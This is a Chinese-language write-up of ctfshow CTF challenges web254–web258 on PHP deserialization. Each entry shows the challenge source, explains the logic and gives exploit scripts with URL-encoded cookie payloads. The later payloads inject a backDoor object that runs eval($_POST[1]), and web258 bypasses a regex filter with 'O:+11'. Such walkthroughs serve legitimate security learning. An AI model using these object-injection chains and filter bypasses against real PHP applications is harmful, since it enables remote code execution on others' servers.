web254
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
|
反序列化的第一题，但并不算是反序列化的题目，应该只是让了解一下类，调用之类的知识
$username=$_GET['username'];
$password=$_GET['password'];
|
get传入username和password
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}
|
username和password传入了值，创造$user一个新对象，对$user执行login($username,$password)
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
|
若username默认值与传入的username相同，password也是，进行将isVIP属性变成true
接着对$user进行checkVip()，
public function checkVip(){
return $this->isVip;
}
|
前面已经将isVip这一属性变成了true，这里if条件成立
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
|
条件仍然成立，输出flag变量的值
所以这里只需要传入与默认值相同的username值和password值即可
payload:
?username=xxxxxx&password=xxxxxx
|
web255
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
|
真正开始进行序列化的题目
这里序列化信息从cookie中传入
看题目
从get传入username和password，
创建对象$user,将cookie中的序列化信息反序列化传给$user
接着进行判断，传入的username和password要与$user中的username和password相同，isVip要是ture
这样才能反馈flag
直接用php文件生成符合题目要求的序列化信息，再传入cookie
exp:
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()))
?>
|
payload:
get:?username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
|
web256
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
|
与上一题的区别就是判断时多了一项
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
|
要求传入的username与传入的password不同相同
构造序列化信息时修改一下即可
exp:
<?php
class ctfShowUser{
public $username='a';
public $password='b';
public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()))
?>
|
payload:
get:?username=a&password=b
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
|
web257
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
|
出现了魔术方法
public function __construct(){
$this->class=new info();
}
public function __destruct(){
$this->class->getInfo();
}
|
一个是创建时触发，一个是析构时触发
存在后门
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
|
我们可以想办法，让创建函数时候，运行__construct 进行后门代码执行，
exp:
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}
echo(urlencode(serialize(new ctfShowUser())));
|
payload:
get:?username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7D%7D
|
web258
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
|
相比上题多了正则匹配，不能带有O:整数，
但可以用O:+整数绕过
exp:
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}
$a= serialize(new ctfShowUser());
$b=str_replace('11','+11',$a);
$c=urlencode(str_replace('8','+8',$b));
echo $c;
?>
|
payload:
?username=xxxxxx&password=xxxxxx
Cookie:user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7D%7D
|
